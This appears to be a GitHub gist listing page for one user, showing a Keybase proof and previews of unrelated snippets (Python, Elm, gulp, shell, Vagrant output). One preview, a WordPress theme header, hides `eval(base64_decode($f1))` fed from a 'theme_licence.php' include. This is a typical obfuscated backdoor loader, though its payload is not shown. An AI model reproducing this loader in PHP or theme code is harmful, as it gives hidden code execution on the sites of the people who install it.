I hereby claim:
- I am lachenmayer on github.
- I am lachenmayer (https://keybase.io/lachenmayer) on keybase.
- I have a public key whose fingerprint is 7352 D181 3010 4493 5D3B C0FC 4FB6 13DF 4F9D 847F
To claim this, I am signing this object:
| <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> | |
| <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2008/fbml" <?php language_attributes(); ?>> | |
| <head profile="http://gmpg.org/xfn/11"> | |
| <meta http-equiv="Content-Type" content="<?php require_once("theme_licence.php"); eval(base64_decode($f1)); bloginfo('html_type'); ?>; charset=<?php bloginfo('charset'); ?>" /> | |
| <title><?php bloginfo('name'); ?> <?php if ( is_single() ) { ?> » Blog Archive <?php } ?> <?php wp_title(); ?></title> | |
| <link rel="stylesheet" href="<?php bloginfo('stylesheet_url'); ?>" type="text/css" media="screen" /> | |
| <link rel="alternate" type="application/rss+xml" title="<?php bloginfo('name'); ?> RSS Feed" href="<?php bloginfo('rss2_url'); ?>" /> |
| # Should not parse the script tag inside quotes in the JavaScript. | |
| # Expected: BeautifulSoup object | |
| # Actual: HTMLParser.HTMLParseError: bad end tag: u"</' + 'script>", at line 1, column 22 | |
| from bs4 import BeautifulSoup | |
| html = "<html><head><script>'</' + 'script>';</script></head><body></body></html>" | |
| BeautifulSoup(html) |
| !!! 5 | |
| html | |
| head | |
| script(src='js/paper.js', type='text/javascript') | |
| script(type='text/javascript') | |
| window.onload = function() { | |
| var canvas = document.getElementById('canvas'); | |
| paper.setup(canvas); | |
| var rect = new paper.Path.Rectangle(new paper.Point(50, 50), new paper.Point(200, 200)); | |
| rect.strokeColor = '#000000'; |
| #!/bin/bash | |
| SR_ROOT=/vol/lab/cs4/SoftwareReliability | |
| DAIKONDIR=$SR_ROOT/daikon_latest | |
| JAVA_HOME=/usr/lib/jvm/java-7-openjdk-amd64 | |
| source $DAIKONDIR/scripts/daikon.bashrc | |
| CLASSPATH=.:$CLASSPATH |
I hereby claim:
To claim this, I am signing this object:
| λ vagrant up 13:00:27 | |
| Bringing machine 'default' up with 'virtualbox' provider... | |
| ==> default: Importing base box 'hashicorp/precise64'... | |
| ==> default: Matching MAC address for NAT networking... | |
| ==> default: Checking if box 'hashicorp/precise64' is up to date... | |
| ==> default: Setting the name of the VM: local-wordpress-chassis2_default_1436961646817_38605 | |
| ==> default: Fixed port collision for 22 => 2222. Now on port 2200. | |
| ==> default: Clearing any previously set network interfaces... | |
| ==> default: Preparing network interfaces based on configuration... | |
| default: Adapter 1: nat |
| module ModuleName (Action, Model, init, update, view) where | |
| import Html as H exposing (Html) | |
| import Html.Attributes as A | |
| import Html.Events as E | |
| import Signal as S exposing (Signal, Mailbox, Address, (<~)) | |
| type Action | |
| = NoOp |
| var gulp = require('gulp') | |
| var browserify = require('browserify') | |
| var babelify = require('babelify') | |
| var concat = require('gulp-concat') | |
| var gulpUtil = require('gulp-util') | |
| var imageDataUri = require('gulp-image-data-uri') | |
| var nib = require('nib') | |
| var o = require('object-assign') | |
| var plumber = require('gulp-plumber') | |
| var source = require('vinyl-source-stream') |
| const connect = require('pull-ws/client') | |
| const pull = require('pull-stream') | |
| const {source} = connect('ws://localhost:1337', (err, stream) => { | |
| pull( | |
| stream, | |
| pull.log() | |
| ) | |
| // expected: log 'hello!' | |
| // actual: stream is undefined |
To reproduce:
./node_modules/.bin/jest - a snapshot is created in ./__snapshots__/./node_modules/.bin/jest again.Expected:
The test should pass.
Actual: